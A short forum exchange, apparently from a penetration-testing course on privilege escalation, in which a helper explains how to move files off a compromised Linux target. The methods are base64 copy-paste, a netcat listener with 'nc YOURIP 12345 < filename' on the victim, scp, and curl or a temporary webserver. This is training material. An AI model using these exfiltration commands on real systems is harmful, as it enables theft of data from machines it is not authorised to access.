Module - Getting Started - Privilege Escalation - Second question

@NewHax said:

@TazWake

Taz - Thank you so ■■■■ much.

Always glad to help.

Is there a more proper / accurate way to copy and paste files instead of using ’ cat filename ’ and just highlighting and copy and pasting from terminal?

The short answer is “it depends.”

You can exfiltrate files from Linux systems in a range of ways.

For example : cat filename | base64 copy the output and on your own machine cat (paste) | base64 -d > filename and you get a good recreation of the file.

You can also use netcat to sling the file:

  • first check the file md5sum filename
  • listener on your machine nc -nklvp 12345 > filename
  • send the data on the remote machine nc YOURIP 12345 < filename
  • wait a while, kill the listener (not the remote one as that can kill your shell)
  • check the file on your machine md5sum filename - see if it matches, if it does, win.

If you have SSH access - scp works. You can get more esoteric with curl posting the data or spinning up a temporary webserver on the victim and grabbing it that way.

Linux gives you a range of options - it often depends on what will work at the time.

2 Likes